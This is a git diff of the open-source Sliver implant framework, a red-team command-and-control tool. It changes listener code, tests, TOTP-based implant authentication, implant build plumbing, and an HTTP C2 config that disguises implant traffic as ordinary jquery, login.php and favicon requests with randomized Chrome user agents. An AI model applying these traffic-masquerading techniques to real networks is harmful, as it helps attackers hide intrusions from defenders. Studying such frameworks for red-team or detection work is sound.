testURL = client.OTPQueryArgument(baseURL, code)
rr = httptest.NewRecorder()
req, _ = http.NewRequest("GET", testURL.String(), nil)
router.ServeHTTP(rr, req)
if status := rr.Code; status != http.StatusOK {
t.Errorf("handler returned wrong status code: got %d want %d", status, http.StatusOK)
}
}
func TestGetOTPFromURL(t *testing.T) {
client := implantTransports.SliverHTTPClient{}
for i := 0; i < 100; i++ {
baseURL := &url.URL{
Scheme: "http",
Host: "127.0.0.1:8888",
Path: "/test/foo.txt",
}
value := fmt.Sprintf("%d", insecureRand.Intn(99999999))
testURL := client.OTPQueryArgument(baseURL, value)
urlValue, err := getOTPFromURL(testURL)
if err != nil {
t.Error(err)
}
if urlValue != value {
t.Fatalf("Mismatched OTP values %s (%s != %s)", testURL.String(), value, urlValue)
}
}
}
func TestGetNonceFromURL(t *testing.T) {
client := implantTransports.SliverHTTPClient{}
for i := 0; i < 100; i++ {
baseURL := &url.URL{
Scheme: "http",
Host: "127.0.0.1:8888",
Path: "/test/foo.txt",
}
nonce, _ := implantEncoders.RandomEncoder()
testURL := client.NonceQueryArgument(baseURL, nonce)
urlNonce, err := getNonceFromURL(testURL)
if err != nil {
t.Error(err)
}
if urlNonce != nonce {
t.Fatalf("Mismatched encoder nonces %s (%d != %d)", testURL.String(), nonce, urlNonce)
}
}
}
+4 -4
View File
@@ -223,8 +223,8 @@ func StartHTTPListenerJob(conf *HTTPServerConfig) (*core.Job, error) {
go func() {
var err error
if server.Conf.Secure {
if server.Conf.ACME {
if server.ServerConf.Secure {
if server.ServerConf.ACME {
err = server.HTTPServer.ListenAndServeTLS("", "") // ACME manager pulls the certs under the hood
} else {
err = listenAndServeTLS(server.HTTPServer, conf.Cert, conf.Key)
@@ -315,8 +315,8 @@ func StartHTTPStagerListenerJob(conf *HTTPServerConfig, data []byte) (*core.Job,
go func() {
var err error
if server.Conf.Secure {
if server.Conf.ACME {
if server.ServerConf.Secure {
if server.ServerConf.ACME {
err = server.HTTPServer.ListenAndServeTLS("", "") // ACME manager pulls the certs under the hood
} else {
err = listenAndServeTLS(server.HTTPServer, conf.Cert, conf.Key)
File renamed without changes.
+20 -3
View File
@@ -1,5 +1,23 @@
package c2
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"bufio"
"bytes"
@@ -25,7 +43,7 @@ var (
tunIP = "100.64.0.1" // Don't let user configure this for now
)
// StartWGListener - First ceates an inet.af network stack.
// StartWGListener - First creates an inet.af network stack.
// then creates a Wireguard device/interface and applies configuration.
// Go routines are spun up to handle key exchange connections, as well
// as c2 comms connections.
@@ -146,8 +164,7 @@ func handleKeyExchangeConnection(conn net.Conn) {
} else {
wgLog.Infof("Successfully generated new wg keys")
message := implantPrivKey + "|" + serverPubKey + "|" + string(ip)
wgLog.Infof("Sending new wg keys and IP: %s", message)
wgLog.Debugf("Sending new wg keys and IP: %s", message)
conn.Write([]byte(message))
}
}
+489
View File
@@ -0,0 +1,489 @@
package configs
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"encoding/json"
"errors"
"fmt"
"io/ioutil"
insecureRand "math/rand"
"os"
"path"
"regexp"
"strings"
"github.com/bishopfox/sliver/server/assets"
"github.com/bishopfox/sliver/server/log"
)
const (
httpC2ConfigFileName = "http-c2.json"
chromeBaseVer = 89
)
// HTTPC2Config - Parent config file struct for implant/server
type HTTPC2Config struct {
ImplantConfig *HTTPC2ImplantConfig `json:"implant_config"`
ServerConfig *HTTPC2ServerConfig `json:"server_config"`
}
// GenerateUserAgent - Generate a user-agent depending on OS/Arch
func (h *HTTPC2Config) GenerateUserAgent(goos string, goarch string) string {
return h.generateChromeUserAgent(goos, goarch)
}
func (h *HTTPC2Config) generateChromeUserAgent(goos string, goarch string) string {
if h.ImplantConfig.UserAgent == "" {
switch goos {
case "windows":
switch goarch {
case "amd64":
return fmt.Sprintf("Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/%s Safari/537.36", h.ChromeVer())
}
case "linux":
switch goarch {
case "amd64":
return fmt.Sprintf("Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/%s Safari/537.36", h.ChromeVer())
}
case "darwin":
switch goarch {
case "arm64":
fallthrough // https://source.chromium.org/chromium/chromium/src/+/master:third_party/blink/renderer/core/frame/navigator_id.cc;l=76
case "amd64":
return fmt.Sprintf("Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/%s Safari/537.36", h.ChromeVer())
}
}
} else {
return h.ImplantConfig.UserAgent
}
// Default is a generic Windows/Chrome
return fmt.Sprintf("Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/%s Safari/537.36", h.ChromeVer())
}
// ChromeVer - Generate a random Chrome user-agent
func (h *HTTPC2Config) ChromeVer() string {
return fmt.Sprintf("%d.0.%d.%d", chromeBaseVer+insecureRand.Intn(3), 1000+insecureRand.Intn(8999), insecureRand.Intn(999))
}
// RandomImplantConfig - Randomly generate a config
func (h *HTTPC2Config) RandomImplantConfig() *HTTPC2ImplantConfig {
config := &HTTPC2ImplantConfig{}
*config = *h.ImplantConfig
config.KeyExchangeFiles = h.ImplantConfig.RandomKeyExchangeFiles()
config.KeyExchangePaths = h.ImplantConfig.RandomKeyExchangePaths()
config.PollFiles = h.ImplantConfig.RandomPollFiles()
config.PollPaths = h.ImplantConfig.RandomPollPaths()
config.SessionFiles = h.ImplantConfig.RandomSessionFiles()
config.SessionPaths = h.ImplantConfig.RandomSessionPaths()
config.CloseFiles = h.ImplantConfig.RandomCloseFiles()
config.ClosePaths = h.ImplantConfig.RandomClosePaths()
return config
}
type HTTPHeader struct {
Name string `json:"name"`
Value string `json:"value"`
}
// HTTPC2ServerConfig - Server configuration options
type HTTPC2ServerConfig struct {
RandomVersionHeaders bool `json:"random_version_headers"`
ExtraHeaders []HTTPHeader `json:"headers"`
Cookies []string `json:"cookies"`
}
// HTTPC2ImplantConfig - Implant configuration options
// Procedural C2
// ===============
// .txt = rsakey
// .css = start
// .php = session
// .js = poll
// .png = stop
// .woff = sliver shellcode
type HTTPC2ImplantConfig struct {
UserAgent string `json:"user_agent"`
URLParameters []string `json:"url_parameters"`
Headers []string `json:"headers"`
MaxFiles int `json:"max_files"`
MinFiles int `json:"min_files"`
MaxPaths int `json:"max_paths"`
MinPaths int `json:"min_paths"`
// Stager File Extension
StagerFileExt string `json:"stager_file_ext"`
// Key Exchange (default .txt) files and paths
KeyExchangeFileExt string `json:"key_exchange_file_ext"`
KeyExchangeFiles []string `json:"key_exchange_files"`
KeyExchangePaths []string `json:"key_exchange_paths"`
// Poll files and paths
PollFileExt string `json:"poll_file_ext"`
PollFiles []string `json:"poll_files"`
PollPaths []string `json:"poll_paths"`
// Session files and paths
StartSessionFileExt string `json:"start_session_file_ext"`
SessionFileExt string `json:"session_file_ext"`
SessionFiles []string `json:"session_files"`
SessionPaths []string `json:"session_paths"`
// Close session files and paths
CloseFileExt string `json:"close_file_ext"`
CloseFiles []string `json:"close_files"`
ClosePaths []string `json:"close_paths"`
}
func (h *HTTPC2ImplantConfig) RandomKeyExchangeFiles() []string {
min := h.MinFiles
if min < 1 {
min = 1
}
return h.randomSample(h.KeyExchangeFiles, h.KeyExchangeFileExt, min, h.MaxFiles)
}
func (h *HTTPC2ImplantConfig) RandomKeyExchangePaths() []string {
return h.randomSample(h.KeyExchangePaths, "", h.MinPaths, h.MaxPaths)
}
func (h *HTTPC2ImplantConfig) RandomPollFiles() []string {
min := h.MinFiles
if min < 1 {
min = 1
}
return h.randomSample(h.PollFiles, h.PollFileExt, min, h.MaxFiles)
}
func (h *HTTPC2ImplantConfig) RandomPollPaths() []string {
return h.randomSample(h.PollPaths, "", h.MinPaths, h.MaxPaths)
}
func (h *HTTPC2ImplantConfig) RandomCloseFiles() []string {
min := h.MinFiles
if min < 1 {
min = 1
}
return h.randomSample(h.CloseFiles, h.CloseFileExt, min, h.MaxFiles)
}
func (h *HTTPC2ImplantConfig) RandomClosePaths() []string {
return h.randomSample(h.ClosePaths, "", h.MinPaths, h.MaxPaths)
}
func (h *HTTPC2ImplantConfig) RandomSessionFiles() []string {
min := h.MinFiles
if min < 1 {
min = 1
}
return h.randomSample(h.SessionFiles, h.SessionFileExt, min, h.MaxFiles)
}
func (h *HTTPC2ImplantConfig) RandomSessionPaths() []string {
return h.randomSample(h.SessionPaths, "", h.MinPaths, h.MaxPaths)
}
func (h *HTTPC2ImplantConfig) randomSample(values []string, ext string, min int, max int) []string {
count := insecureRand.Intn(len(values))
if count < min {
count = min
}
if max < count {
count = max
}
sample := []string{}
for i := 0; len(sample) < count; i++ {
index := (count + i) % len(values)
sample = append(sample, values[index])
}
return sample
}
var (
httpC2ConfigLog = log.NamedLogger("config", "http-c2")
defaultHTTPC2Config = HTTPC2Config{
ServerConfig: &HTTPC2ServerConfig{
RandomVersionHeaders: true,
Cookies: []string{
"PHPSESSID", "SID", "SSID", "APISID", "csrf-state", "AWSALBCORS",
},
},
ImplantConfig: &HTTPC2ImplantConfig{
UserAgent: "", // Blank string is rendered as randomized platform user-agent
MaxFiles: 8,
MinFiles: 2,
MaxPaths: 8,
MinPaths: 2,
StagerFileExt: ".woff",
KeyExchangeFileExt: ".txt",
KeyExchangeFiles: []string{
"robots", "sample", "readme", "example",
},
KeyExchangePaths: []string{
"static", "www", "assets", "text", "docs", "sample", "data", "readme",
"examples",
},
PollFileExt: ".js",
PollFiles: []string{
"bootstrap", "bootstrap.min", "jquery.min", "jquery", "route",
"app", "app.min", "array", "backbone", "script", "email",
},
PollPaths: []string{
"js", "umd", "assets", "bundle", "bundles", "scripts", "script", "javascripts",
"javascript", "jscript",
},
StartSessionFileExt: ".phtml",
SessionFileExt: ".php",
SessionFiles: []string{
"login", "signin", "api", "samples", "rpc", "index",
"admin", "register", "sign-up",
},
SessionPaths: []string{
"php", "api", "upload", "actions", "rest", "v1", "auth", "authenticate",
"oauth", "oauth2", "oauth2callback", "database", "db", "namespaces",
},
CloseFileExt: ".png",
CloseFiles: []string{
"favicon", "sample", "example",
},
ClosePaths: []string{
"static", "www", "assets", "images", "icons", "image", "icon", "png",
},
},
}
)
// GetHTTPC2ConfigPath - File path to http-c2.json
func GetHTTPC2ConfigPath() string {
appDir := assets.GetRootAppDir()
httpC2ConfigPath := path.Join(appDir, "configs", httpC2ConfigFileName)
return httpC2ConfigPath
}
// GetHTTPC2Config - Get the current HTTP C2 config
func GetHTTPC2Config() *HTTPC2Config {
configPath := GetHTTPC2ConfigPath()
if _, err := os.Stat(configPath); os.IsNotExist(err) {
err = generateDefaultConfig(configPath)
if err != nil {
httpC2ConfigLog.Errorf("Failed to generate http c2 config %s", err)
return &defaultHTTPC2Config
}
}
data, err := ioutil.ReadFile(configPath)
if err != nil {
httpC2ConfigLog.Errorf("Failed to read http c2 config %s", err)
return &defaultHTTPC2Config
}
config := &HTTPC2Config{}
err = json.Unmarshal(data, config)
if err != nil {
httpC2ConfigLog.Errorf("Failed to parse http c2 config %s", err)
return &defaultHTTPC2Config
}
err = CheckHTTPC2Config(config)
if err != nil {
httpC2ConfigLog.Errorf("Invalid http c2 config: %s", err)
return &defaultHTTPC2Config
}
return config
}
func generateDefaultConfig(saveTo string) error {
data, err := json.MarshalIndent(defaultHTTPC2Config, "", " ")
if err != nil {
return err
}
return ioutil.WriteFile(saveTo, data, 0600)
}
var (
ErrMissingCookies = errors.New("server config must specify at least one cookie")
ErrMissingStagerFileExt = errors.New("implant config must specify a stager_file_ext")
ErrMissingPollFileExt = errors.New("implant config must specify a poll_file_ext")
ErrTooFewPollFiles = errors.New("implant config must specify at least one poll_files value")
ErrMissingKeyExchangeFileExt = errors.New("implant config must specify a key_exchange_file_ext")
ErrTooFewKeyExchangeFiles = errors.New("implant config must specify at least one key_exchange_files value")
ErrMissingCloseFileExt = errors.New("implant config must specify a close_file_ext")
ErrTooFewCloseFiles = errors.New("implant config must specify at least one close_files value")
ErrMissingStartSessionFileExt = errors.New("implant config must specify a start_session_file_ext")
ErrMissingSessionFileExt = errors.New("implant config must specify a session_file_ext")
ErrTooFewSessionFiles = errors.New("implant config must specify at least one session_files value")
ErrNonuniqueFileExt = errors.New("implant config must specify unique file extensions")
fileNameExp = regexp.MustCompile("[^a-zA-Z0-9\\._-]+")
)
// CheckHTTPC2Config - Validate the HTTP C2 config, coerces common mistakes
func CheckHTTPC2Config(config *HTTPC2Config) error {
err := checkServerConfig(config.ServerConfig)
if err != nil {
return err
}
return checkImplantConfig(config.ImplantConfig)
}
func coerceFileExt(value string) string {
value = fileNameExp.ReplaceAllString(value, "")
for strings.HasPrefix(value, ".") {
value = strings.TrimPrefix(value, ".")
}
return value
}
func coerceFiles(values []string, ext string) []string {
values = uniqueFileName(values)
coerced := []string{}
for _, value := range values {
if strings.HasSuffix(value, fmt.Sprintf(".%s", ext)) {
value = strings.TrimSuffix(value, fmt.Sprintf(".%s", ext))
}
coerced = append(coerced, value)
}
return coerced
}
func uniqueFileName(strSlice []string) []string {
allKeys := make(map[string]bool)
list := []string{}
for _, item := range strSlice {
item = fileNameExp.ReplaceAllString(item, "")
if len(item) < 1 {
continue
}
if _, value := allKeys[item]; !value {
allKeys[item] = true
list = append(list, item)
}
}
return list
}
func checkServerConfig(config *HTTPC2ServerConfig) error {
if len(config.Cookies) < 1 {
return ErrMissingCookies
}
return nil
}
func checkImplantConfig(config *HTTPC2ImplantConfig) error {
// MinFiles and MaxFiles
if config.MinFiles < 1 {
config.MinFiles = 1
}
if config.MaxFiles < config.MinFiles {
config.MaxFiles = config.MinFiles
}
// MinPaths and MaxPaths
if config.MinPaths < 0 {
config.MinPaths = 0
}
if config.MaxPaths < config.MinPaths {
config.MaxPaths = config.MinPaths
}
// Stager
config.StagerFileExt = coerceFileExt(config.StagerFileExt)
if config.StagerFileExt == "" {
return ErrMissingStagerFileExt
}
// Key Exchange
config.KeyExchangeFileExt = coerceFileExt(config.KeyExchangeFileExt)
if config.KeyExchangeFileExt == "" {
return ErrMissingKeyExchangeFileExt
}
config.KeyExchangeFiles = coerceFiles(config.KeyExchangeFiles, config.KeyExchangeFileExt)
if len(config.KeyExchangeFiles) < 1 {
return ErrTooFewKeyExchangeFiles
}
// Poll Settings
config.PollFileExt = coerceFileExt(config.PollFileExt)
if config.PollFileExt == "" {
return ErrMissingPollFileExt
}
config.PollFiles = coerceFiles(config.PollFiles, config.PollFileExt)
if len(config.PollFiles) < 1 {
return ErrTooFewPollFiles
}
// Session Settings
config.StartSessionFileExt = coerceFileExt(config.StartSessionFileExt)
if config.StartSessionFileExt == "" {
return ErrMissingStartSessionFileExt
}
config.SessionFileExt = coerceFileExt(config.SessionFileExt)
if config.SessionFileExt == "" {
return ErrMissingSessionFileExt
}
config.SessionFiles = coerceFiles(config.SessionFiles, config.StartSessionFileExt)
config.SessionFiles = coerceFiles(config.SessionFiles, config.SessionFileExt)
if len(config.SessionFiles) < 1 {
return ErrTooFewSessionFiles
}
// Close Settings
config.CloseFileExt = coerceFileExt(config.CloseFileExt)
if config.CloseFileExt == "" {
return ErrMissingCloseFileExt
}
config.CloseFiles = coerceFiles(config.CloseFiles, config.CloseFileExt)
if len(config.CloseFiles) < 1 {
return ErrTooFewCloseFiles
}
// Unique file extensions
allExtensions := map[string]bool{}
extensions := []string{
config.StagerFileExt,
config.KeyExchangeFileExt,
config.PollFileExt,
config.StartSessionFileExt,
config.SessionFileExt,
config.CloseFileExt,
}
for _, ext := range extensions {
if _, ok := allExtensions[ext]; ok {
return ErrNonuniqueFileExt
}
allExtensions[ext] = true
}
return nil
}
+92
View File
@@ -0,0 +1,92 @@
package configs
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"encoding/json"
"testing"
)
var (
fileExtCoercions = map[string]string{
"js": "js",
".js": "js",
"/.js": "js",
"/.es6": "es6",
".mp4": "mp4",
}
)
func TestCoerceFileExt(t *testing.T) {
for input, output := range fileExtCoercions {
if value := coerceFileExt(input); value != output {
t.Fatalf("'%s' was parsed as '%s', expected '%s'", input, value, output)
}
}
}
func TestDefaultConfig(t *testing.T) {
data, err := json.Marshal(defaultHTTPC2Config)
if err != nil {
t.Fatal(err)
}
var config *HTTPC2Config
err = json.Unmarshal(data, &config)
if err != nil {
t.Fatal(err)
}
err = CheckHTTPC2Config(config)
if err != nil {
t.Fatal(err)
}
}
func TestPollConfig(t *testing.T) {
// Missing PollFileExt
config := defaultHTTPC2Config
origPollFileExt := config.ImplantConfig.PollFileExt
for _, ext := range []string{"", ".", "..."} {
config.ImplantConfig.PollFileExt = ext
err := CheckHTTPC2Config(&config)
if err != ErrMissingPollFileExt {
t.Fatalf("Parsed '%s' as not missing (%s)", ext, config.ImplantConfig.PollFileExt)
}
}
config.ImplantConfig.PollFileExt = origPollFileExt
// Missing PollFiles
emptyPollFiles := [][]string{
{},
{""},
{"/"},
{"", "", ""},
{"/", "/", "/"},
}
origPollFiles := config.ImplantConfig.PollFiles
for _, empty := range emptyPollFiles {
config.ImplantConfig.PollFiles = empty
err := CheckHTTPC2Config(&config)
if err != ErrTooFewPollFiles {
t.Fatalf("Expected too few poll files from %v got %v", empty, err)
}
}
config.ImplantConfig.PollFiles = origPollFiles
}
+46
View File
@@ -0,0 +1,46 @@
package console
import (
"encoding/json"
"encoding/pem"
"testing"
clienttransport "github.com/bishopfox/sliver/client/transport"
"github.com/bishopfox/sliver/server/certs"
)
func TestRootOnlyVerifyCertificate(t *testing.T) {
certs.SetupCAs()
data, err := NewPlayerConfig("zerocool", "localhost", uint16(1337))
if err != nil {
t.Fatalf("failed to generate test player profile %s", err)
}
config := &ClientConfig{}
err = json.Unmarshal(data, config)
if err != nil {
t.Fatalf("failed to parse client config %s", err)
}
_, _, err = certs.OperatorServerGetCertificate("localhost")
if err == certs.ErrCertDoesNotExist {
certs.OperatorServerGenerateCertificate("localhost")
}
// Test with a valid certificate
certPEM, _, _ := certs.OperatorServerGetCertificate("localhost")
block, _ := pem.Decode(certPEM)
err = clienttransport.RootOnlyVerifyCertificate(config.CACertificate, [][]byte{block.Bytes})
if err != nil {
t.Fatalf("root only verify certificate error: %s", err)
}
// Test with wrong CA
wrongCert, _ := certs.GenerateECCCertificate(certs.HTTPSCA, "foobar", false, false)
block, _ = pem.Decode(wrongCert)
err = clienttransport.RootOnlyVerifyCertificate(config.CACertificate, [][]byte{block.Bytes})
if err == nil {
t.Fatal("root only verify cert verified a certificate with invalid ca!")
}
}
+3 -3
View File
@@ -36,7 +36,7 @@ var (
sessions: map[uint32]*Session{},
mutex: &sync.RWMutex{},
}
hiveID = uint32(0)
rollingSessionID = uint32(0)
// ErrUnknownMessageType - Returned if the implant did not understand the message for
// example when the command is not supported on the platform
@@ -212,8 +212,8 @@ func (s *sessions) Remove(sessionID uint32) {
// NextSessionID - Returns an incremental nonce as an id
func NextSessionID() uint32 {
newID := hiveID + 1
hiveID++
newID := rollingSessionID + 1
rollingSessionID++
return newID
}
+66 -1
View File
@@ -30,6 +30,14 @@ import (
"crypto/sha256"
"errors"
"io"
"io/ioutil"
"os"
"path"
"time"
"github.com/bishopfox/sliver/server/assets"
"github.com/pquerna/otp"
"github.com/pquerna/otp/totp"
)
const (
@@ -38,11 +46,15 @@ const (
// GCMNonceSize - 96 bit nonces for GCM
GCMNonceSize = 12
// TOTPDigits - Number of digits in the TOTP
TOTPDigits = 8
TOTPPeriod = uint(30)
)
var (
// ErrInvalidKeyLength - Invalid key length
ErrInvalidKeyLength = errors.New("Invalid length")
ErrInvalidKeyLength = errors.New("invalid length")
)
// AESKey - 256 bit key
@@ -136,3 +148,56 @@ func GCMDecrypt(key AESKey, ciphertext []byte) ([]byte, error) {
}
return plaintext, nil
}
// TOTPOptions - Customized totp validation options
func TOTPOptions() totp.ValidateOpts {
return totp.ValidateOpts{
Digits: TOTPDigits,
Algorithm: otp.AlgorithmSHA256,
Period: TOTPPeriod,
Skew: uint(1),
}
}
// TOTPServerSecret - Get the server-wide totp secret value, the goal of the totp
// is for the implant to prove it was generated by this server. To that end we simply
// use a server-wide secret and ignore issuers/accounts. In order to bypass this check
// you'd have to extract the totp secret from a binary generated by the server.
func TOTPServerSecret() (string, error) {
totpSecretPath := path.Join(assets.GetRootAppDir(), "totp")
if _, err := os.Stat(totpSecretPath); os.IsNotExist(err) {
return totpGenerateSecret(totpSecretPath)
} else {
data, err := ioutil.ReadFile(totpSecretPath)
return string(data), err
}
}
// ValidateTOTP - Validate a TOTP code
func ValidateTOTP(code string) (bool, error) {
secret, err := TOTPServerSecret()
if err != nil {
return false, err
}
valid, err := totp.ValidateCustom(code, secret, time.Now().UTC(), TOTPOptions())
if err != nil {
return false, err
}
return valid, nil
}
func totpGenerateSecret(saveTo string) (string, error) {
otpSecret, err := totp.Generate(totp.GenerateOpts{
Issuer: "foo",
AccountName: "bar",
Digits: TOTPDigits,
Algorithm: otp.AlgorithmSHA256,
Period: TOTPPeriod,
})
if err != nil {
return "", err
}
secret := otpSecret.Secret()
err = ioutil.WriteFile(saveTo, []byte(secret), 0600)
return secret, err
}
+12
View File
@@ -34,6 +34,18 @@ var (
ErrRecordNotFound = gorm.ErrRecordNotFound
)
// ImplantConfigByID - Fetch implant build by name
func ImplantConfigByID(id string) (*models.ImplantConfig, error) {
config := models.ImplantConfig{}
err := Session().Where(&models.ImplantConfig{
ID: uuid.FromStringOrNil(id),
}).First(&config).Error
if err != nil {
return nil, err
}
return &config, err
}
// ImplantBuilds - Return all implant builds
func ImplantBuilds() ([]*models.ImplantBuild, error) {
builds := []*models.ImplantBuild{}
+18
View File
@@ -1,5 +1,23 @@
package models
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"time"
+10 -3
View File
@@ -34,8 +34,12 @@ type ImplantBuild struct {
CreatedAt time.Time `gorm:"->;<-:create;"`
Name string `gorm:"unique;"`
// Checksum stores the MD5 sum of an implant binary
Checksum string
// Checksums stores of the implant binary
MD5 string
SHA1 string
SHA256 string
// Burned indicates whether the implant
// has been seen on threat intel platforms
Burned bool
@@ -68,7 +72,6 @@ type ImplantConfig struct {
GOARCH string
// Standard
// Name string
CACert string
Cert string
Key string
@@ -78,6 +81,7 @@ type ImplantConfig struct {
ReconnectInterval uint32
PollInterval uint32
MaxConnectionErrors uint32
ConnectionStrategy string
WGImplantPrivKey string
WGServerPubKey string
@@ -127,6 +131,8 @@ func (ic *ImplantConfig) BeforeCreate(tx *gorm.DB) (err error) {
// ToProtobuf - Convert ImplantConfig to protobuf equiv
func (ic *ImplantConfig) ToProtobuf() *clientpb.ImplantConfig {
config := &clientpb.ImplantConfig{
ID: ic.ID.String(),
GOOS: ic.GOOS,
GOARCH: ic.GOARCH,
@@ -140,6 +146,7 @@ func (ic *ImplantConfig) ToProtobuf() *clientpb.ImplantConfig {
ReconnectInterval: ic.ReconnectInterval,
PollInterval: ic.PollInterval,
MaxConnectionErrors: ic.MaxConnectionErrors,
ConnectionStrategy: ic.ConnectionStrategy,
LimitDatetime: ic.LimitDatetime,
LimitDomainJoined: ic.LimitDomainJoined,
+65 -81
View File
@@ -21,11 +21,11 @@ package generate
import (
"bytes"
"fmt"
"io/fs"
"io/ioutil"
"net/url"
"os"
"path"
"path/filepath"
"regexp"
"runtime"
"strings"
@@ -35,6 +35,8 @@ import (
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/server/assets"
"github.com/bishopfox/sliver/server/certs"
"github.com/bishopfox/sliver/server/configs"
"github.com/bishopfox/sliver/server/cryptography"
"github.com/bishopfox/sliver/server/db/models"
"github.com/bishopfox/sliver/server/gogo"
"github.com/bishopfox/sliver/server/log"
@@ -480,6 +482,11 @@ func renderSliverGoCode(name string, config *models.ImplantConfig, goConfig *gog
config.Cert = string(sliverCert)
config.Key = string(sliverKey)
otpSecret, err := cryptography.TOTPServerSecret()
if err != nil {
return "", err
}
// Generate wg Keys as needed
if config.WGc2Enabled {
implantPrivKey, _, err := certs.ImplantGenerateWGKeys(config.WGPeerTunIP)
@@ -492,6 +499,11 @@ func renderSliverGoCode(name string, config *models.ImplantConfig, goConfig *gog
config.WGServerPubKey = serverPubKey
}
err = ImplantConfigSave(config)
if err != nil {
return "", err
}
// binDir - ~/.sliver/slivers/<os>/<arch>/<name>/bin
binDir := path.Join(projectGoPathDir, "bin")
os.MkdirAll(binDir, 0700)
@@ -511,106 +523,74 @@ func renderSliverGoCode(name string, config *models.ImplantConfig, goConfig *gog
return "", nil
}
// Load code template
renderFiles := srcFiles
_, isSupportedTarget := SupportedCompilerTargets[fmt.Sprintf("%s/%s", config.GOOS, config.GOARCH)]
if !isSupportedTarget {
buildLog.Warnf("Unsupported compiler target, using generic src files ...")
renderFiles = genericSrcFiles
}
for index, boxName := range renderFiles {
// Gobfuscate doesn't handle all the platform specific code
// well and the renamer can get confused when symbols for a
// different OS don't show up. So we just filter out anything
// we're not actually going to compile into the final binary
suffix := ".go"
if strings.Contains(boxName, "_") {
fileNameParts := strings.Split(boxName, "_")
suffix = "_" + fileNameParts[len(fileNameParts)-1]
// Test files get skipped
if strings.HasSuffix(boxName, "_test.go") {
buildLog.Infof("Skipping (test): %s", boxName)
continue
}
// We only include "_default.go" files for "unsupported" platforms i.e., not windows/darwin/linux
if suffix == DefaultSuffix && isSupportedTarget {
buildLog.Infof("Skipping default file (target is supported): %s", boxName)
continue
}
// Only include code for our target goos/goarch
if isSupportedTarget {
osSuffix := fmt.Sprintf("_%s.go", strings.ToLower(config.GOOS))
archSuffix := fmt.Sprintf("_%s.go", strings.ToLower(config.GOARCH))
if !strings.HasSuffix(boxName, osSuffix) && !strings.HasSuffix(boxName, archSuffix) {
buildLog.Infof("Skipping file wrong os/arch: %s", boxName)
continue
}
}
err = fs.WalkDir(implant.FS, ".", func(fsPath string, f fs.DirEntry, err error) error {
if f.IsDir() {
return nil
}
buildLog.Debugf("Walking: %s %s %v", fsPath, f.Name(), err)
sliverGoCodeRaw, err := implant.FS.ReadFile(path.Join("sliver", boxName))
sliverGoCodeRaw, err := implant.FS.ReadFile(fsPath)
if err != nil {
buildLog.Warnf("Failed to read %s: %s", boxName, err)
continue
buildLog.Errorf("Failed to read %s: %s", fsPath, err)
return nil
}
sliverGoCode := string(sliverGoCodeRaw)
// We need to correct for the "github.com/bishopfox/sliver/implant/sliver/foo" imports,
// since Go doesn't allow relative imports and "sliver" is a subdirectory of
// the main "sliver" repo we need to fake this when copying the code
// to our per-compile "GOPATH"
var sliverCodePath string
dirName := filepath.Dir(boxName)
var fileName string
// Skip dllmain files for anything non windows
if boxName == "sliver.h" || boxName == "sliver.c" {
if f.Name() == "sliver.c" || f.Name() == "sliver.h" {
if !config.IsSharedLib && !config.IsShellcode {
continue
return nil
}
}
if config.Debug || strings.HasSuffix(boxName, ".c") || strings.HasSuffix(boxName, ".h") {
fileName = filepath.Base(boxName)
} else {
fileName = fmt.Sprintf("s%d%s", index, suffix)
}
if dirName != "." {
// Add an extra "sliver" dir
dirPath := path.Join(sliverPkgDir, "implant", "sliver", dirName)
if _, err := os.Stat(dirPath); os.IsNotExist(err) {
buildLog.Infof("[mkdir] %#v", dirPath)
err = os.MkdirAll(dirPath, 0700)
if err != nil {
return "", err
}
}
sliverCodePath = path.Join(dirPath, fileName)
} else {
sliverCodePath = path.Join(sliverPkgDir, fileName)
}
var sliverCodePath string
if f.Name() == "sliver.go" || f.Name() == "sliver.c" || f.Name() == "sliver.h" {
sliverCodePath = path.Join(sliverPkgDir, f.Name())
} else {
sliverCodePath = path.Join(sliverPkgDir, "implant", fsPath)
}
dirPath := path.Dir(sliverCodePath)
if _, err := os.Stat(dirPath); os.IsNotExist(err) {
buildLog.Infof("[mkdir] %#v", dirPath)
err = os.MkdirAll(dirPath, 0700)
if err != nil {
return err
}
}
fSliver, err := os.Create(sliverCodePath)
if err != nil {
return "", err
return err
}
buf := bytes.NewBuffer([]byte{})
